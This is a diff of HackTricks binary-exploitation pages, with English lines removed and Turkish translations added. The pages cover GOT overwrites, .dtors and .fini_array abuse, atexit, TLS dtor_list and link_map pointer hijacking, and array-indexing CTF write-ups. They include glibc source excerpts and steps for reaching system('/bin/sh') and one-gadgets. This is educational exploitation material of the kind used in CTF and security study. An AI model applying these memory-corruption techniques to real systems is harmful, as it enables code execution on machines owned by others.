Heap zafiyetinden RCE elde etmenin yaygın bir yolu, hızlı bir binayı kötüye kullanmaktır, böylece GOT tablosunun bir kısmını hızlı binaya eklemek mümkün olur, böylece o parça tahsis edildiğinde **genellikle `free`** olan bir fonksiyonun işaretçisini **geçersiz kılmak** mümkün olacaktır.\
Sonra, `free`'yi `system`'a işaret edecek şekilde ayarlayıp `/bin/sh\x00` yazılmış bir parçayı serbest bıraktığınızda bir shell çalıştıracaktır.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
Burada bir [**örnek bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
## **Koruma**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
**Full RELRO** koruması, ikili dosya başlatıldığında fonksiyonların tüm adreslerini çözerek ve sonrasında **GOT tablosunu yalnızca okunur** hale getirerek bu tür tekniklere karşı koruma sağlamayı amaçlar:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

38
src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> Günümüzde bir .dtors bölümüne sahip bir ikili bulmak çok **garip!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Yıkıcılar, program **sona ermeden önce** (main fonksiyonu döndükten sonra) **çalıştırılan** fonksiyonlardır.\
Bu fonksiyonların adresleri, ikilinin **`.dtors`** bölümünde saklanır ve bu nedenle, eğer **`__DTOR_END__`** adresine bir **shellcode** yazmayı başarırsanız, bu, program sona ermeden önce **çalıştırılacaktır**.
Bu bölümün adresini almak için:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Genellikle **DTOR** işaretlerini `ffffffff` ve `00000000` değerleri **arasında** bulursunuz. Yani bu değerleri gördüğünüzde, **kayıtlı bir fonksiyon yoktur** anlamına gelir. Bu yüzden **`00000000`** değerini **shellcode**'un **adresine** **overwrite** edin.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Elbette, önce **shellcode**'u saklayacak bir **yer bulmanız** gerekiyor, böylece daha sonra çağırabilirsiniz.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
Temelde bu, program sona ermeden önce **çağrılacak fonksiyonlar** ile bir yapıdır, tıpkı **`.dtors`** gibi. Bu, **shellcode**'unuzu sadece bir adrese atlayarak çağırabiliyorsanız veya **vulnerabiliteyi ikinci kez istismar etmek için** tekrar **`main`**'e dönmeniz gereken durumlarda ilginçtir.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Not edin ki **`.fini_array`**'den bir fonksiyon çalıştırıldığında bir sonraki fonksiyona geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak burada yer alan fonksiyonun yalnızca 1 **çalıştırılmasını** sağlar.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
**`.fini_array`**'deki girişlerin **ters** sırayla çağrıldığını unutmayın, bu nedenle sonuncusundan yazmaya başlamanız muhtemelen daha iyi olacaktır.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Sonsuz döngü
#### Eternal loop
**`.fini_array`**'i kötüye kullanarak bir sonsuz döngü elde etmek için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Eğer **`.fini_array`**'de en az 2 girişiniz varsa, şunları yapabilirsiniz:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- İlk yazmanızı **savunmasız rastgele yazma fonksiyonunu** tekrar çağırmak için kullanın
- Ardından, **`__libc_csu_fini`** tarafından saklanan yığın üzerindeki dönüş adresini hesaplayın (tüm **`.fini_array`** fonksiyonlarını çağıran fonksiyon) ve oraya **`__libc_csu_fini`**'nin **adresini** koyun
- Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasına neden olacak ve **`.fini_array`** fonksiyonlarını tekrar çalıştıracak, bu da savunmasız WWW fonksiyonunu 2 kez çağıracaktır: biri **rastgele yazma** için ve diğeri de yığında **`__libc_csu_fini`**'nin dönüş adresini tekrar yazmak için kendisini tekrar çağırmak üzere.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** bölüm **`.fini_array`** **salt okunur** hale getirilmiştir.
> Daha yeni sürümlerde, [**Partial RELRO**] ile bile bölüm **`.fini_array`** **salt okunur** hale getirilmiştir.
{{#include ../../banners/hacktricks-training.md}}

284
src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), TLS Depolama ve Diğer Karışık Göstergeler
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
## **\_\_atexit Yapıları**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> Günümüzde bunu istismar etmek çok **garip!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** bir **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\
Eğer bu **fonksiyonlardan** herhangi birinin **adresini** örneğin bir shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** **ele geçireceksiniz**, ancak bu şu anda daha karmaşık.\
Şu anda çalıştırılacak **fonksiyonların adresleri** birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64_86** üzerinde **çok kullanışlı değildir**.\
**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler** şifreleme fonksiyonunu **uygulamaz** çünkü bu fonksiyon **girdi olarak aldığı ile aynı** çıktıyı döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Bunun nasıl çalıştığına dair derinlemesine bir açıklamayı [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) adresinde bulabilirsiniz.
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Açıklandığı gibi [**bu yazıda**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), Program `return` veya `exit()` kullanarak çıkarsa, `__run_exit_handlers()` çalıştırılacak ve kayıtlı yok edicileri çağıracaktır.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> Eğer program **`_exit()`** fonksiyonu aracılığıyla çıkarsa, **`exit` syscall**'ini çağıracak ve çıkış yöneticileri çalıştırılmayacaktır. Bu nedenle, `__run_exit_handlers()`'ın çalıştırıldığını doğrulamak için üzerine bir kesme noktası koyabilirsiniz.
Önemli kod ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
`map -> l_addr + fini_array -> d_un.d_ptr` ifadesinin **çağrılacak fonksiyonlar dizisinin** konumunu **hesaplamak için** kullanıldığına dikkat edin.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Bir **kaç seçenek** var:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- `map->l_addr` değerini, rastgele kod çalıştırma talimatları içeren **sahte bir `fini_array`** gösterecek şekilde geçersiz kılmak
- `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini (bellekte daha az veya daha çok ardışık olan) geçersiz kılmak, böylece **bir sahte `Elf64_Dyn`** yapısına işaret etmelerini sağlamak ve böylece **`array`'in, saldırganın kontrol ettiği bir bellek** bölgesine işaret etmesini sağlamak.&#x20;
- [**Bu yazım**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell), `l_info[DT_FINI_ARRAY]`'ı `.bss` içinde kontrol edilen bir belleğin adresi ile geçersiz kılar ve bu bellek sahte bir `fini_array` içerir. Bu sahte dizi **öncelikle bir** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresini** içerir, bu adres çalıştırılacak ve ardından bu **sahte dizinin** adresi ile `map->l_addr` **değerinin** farkını içerir, böylece `*array` sahte diziye işaret eder.
- Bu tekniğin ana gönderisine ve [**bu yazıma**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre, ld.so yığında, ld.so'daki ikili `link_map`'e işaret eden bir işaretçi bırakır. Rastgele bir yazma ile bunu geçersiz kılmak ve saldırgan tarafından kontrol edilen bir sahte `fini_array`'e işaret etmesini sağlamak mümkündür; örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresi ile.
Önceki kodun ardından, kodla birlikte başka ilginç bir bölüm bulabilirsiniz:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Bu durumda, sahte bir `ElfW(Dyn)` yapısına işaret eden `map->l_info[DT_FINI]` değerini geçersiz kılmak mümkün olacaktır. [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## TLS-Storage dtor_list geçersiz kılma **`__run_exit_handlers`** içinde
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
[**burada açıklandığı gibi**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), bir program `return` veya `exit()` ile çıkarsa, kayıtlı olan herhangi bir yok edici fonksiyonu çağıracak olan **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır.
`_run_exit_handlers()` kodu:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
**`__call_tls_dtors()`** kodu:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Her kayıtlı fonksiyon için **`tls_dtor_list`**, **`cur->func`**'dan işaretçiyi çözerek **`cur->obj`** ile çağıracaktır.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Bu [**GEF çatallamasındaki**](https://github.com/bata24/gef) **`tls`** fonksiyonunu kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR_MANGLE cookie**'ye çok **yakın** olduğunu görebiliriz. Bu nedenle, üzerinde bir taşma ile **cookie** ve **stack canary**'yi **üst üste yazmak** mümkün olacaktır.\
PTR_MANGLE cookie'sini üst üste yazarak, **`PTR_DEMANLE` fonksiyonunu atlamak** için 0x00 olarak ayarlamak, gerçek adresi elde etmek için kullanılan **`xor`**'un sadece yapılandırılmış adres olduğunu gösterecektir. Ardından, **`dtor_list`** üzerinde yazarak, **birkaç fonksiyonu** fonksiyon **adresleri** ve **argümanları** ile **zincirlemek** mümkündür.
Son olarak, saklanan işaretçinin sadece cookie ile xoredilmekle kalmayıp, aynı zamanda 17 bit döndürüleceğini unutmayın:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Bu yeni bir adres eklemeden önce dikkate almanız gereken bir durumdur.
So you need to take this into account before adding a new address.
[**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) bir örnek bulun.
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Diğer bozulmuş işaretçiler **`__run_exit_handlers`** içinde
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) ve yine programın **`return` veya `exit()` çağrısı yaparak çıkmasına** bağlıdır, böylece **`__run_exit_handlers()`** çağrılır.
Bu fonksiyonun daha fazla kodunu kontrol edelim:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
Değişken `f`, **`initial`** yapısına işaret eder ve `f->flavor` değerine bağlı olarak farklı fonksiyonlar çağrılacaktır.\
Değere bağlı olarak, çağrılacak fonksiyonun adresi farklı bir yerde olacaktır, ancak her zaman **demangled** olacaktır.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Ayrıca, **`ef_on`** ve **`ef_cxa`** seçeneklerinde bir **argument** kontrol etmek de mümkündür.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
Bir hata ayıklama oturumunda **`gef> p initial`** komutunu çalıştırarak **`initial` yapısını** kontrol etmek mümkündür.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Bunu kötüye kullanmak için ya **leak** yapmanız ya da `PTR_MANGLE` çerezini silmeniz ve ardından `system('/bin/sh')` ile initial'daki bir `cxa` girişini yazmanız gerekir.\
Bunun bir örneğini [**teknik hakkında orijinal blog yazısında**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) bulabilirsiniz.
{{#include ../../banners/hacktricks-training.md}}

16
src/binary-exploitation/array-indexing.md
View File

@ -1,18 +1,18 @@
# Array Indexing
# Dizi İndeksleme
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Bu kategori, dizilerdeki indekslerin işlenmesindeki hatalar nedeniyle belirli verilerin üzerine yazılmasının mümkün olduğu tüm zayıflıkları içerir. Sömürü mekanizması tamamen zayıflığın koşullarına bağlı olduğundan, belirli bir metodoloji olmadan çok geniş bir kategoridir.
However he you can find some nice **examples**:
Ancak burada bazı güzel **örnekler** bulabilirsiniz:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- **Adresler** için bir dizi ve o verilerin **boyutları** için bir dizi olmak üzere **2 çakışan dizi** vardır. Birinden diğerine üzerine yazmak mümkündür, bu da boyut olarak gösterilen keyfi bir adres yazmayı sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından bunu `system` adresi ile üzerine yazmayı ve `/bin/sh` ile bir bellekten free çağırmayı sağlar.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 bit, nx yok. Her şeyin çift sayı olarak kullanılacağı ve en küçüğünden en büyüğüne sıralanacağı bir tür tampon taşması elde etmek için bir boyutu üzerine yazın, bu nedenle bu gereksinimi karşılayan bir shellcode oluşturmak gerekir, canary'nin yerinden hareket ettirilmemesi gerektiğini dikkate alarak ve sonunda RIP'i ret'e işaret eden bir adresle üzerine yazarak, en büyük adresi yığın başlangıcına işaret eden yeni bir adresle değiştirmek (program tarafından sızdırılan) böylece ret'i oraya atlamak için kullanmak mümkündür.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64 bit, relro yok, canary, nx, pie yok. Yığın üzerindeki bir dizide bir off-by-one vardır, bu da bir işaretçiyi kontrol etmeyi sağlar ve WWW'yi garanti eder (dizinin tüm sayıların toplamını overwritten adresine yazar). Yığın kontrol altındadır, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (tekrar `main`'e döner). Adresi sızdırmak için puts kullanarak GOT'daki adresi sızdırmak için bir ROP zinciri kullanılır (`exit` çağrılacak, bu nedenle yığında bu zinciri çalıştıracaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, relro yok, canary yok, nx, pie yok. Yığın üzerindeki libc ve heap adreslerini sızdırmak için kötü bir indekslemeyi kötüye kullanın. `system('/bin/sh')` çağırarak bir ret2lib yapmak için tampon taşmasını kötüye kullanın (bir kontrolü aşmak için heap adresine ihtiyaç vardır).

139
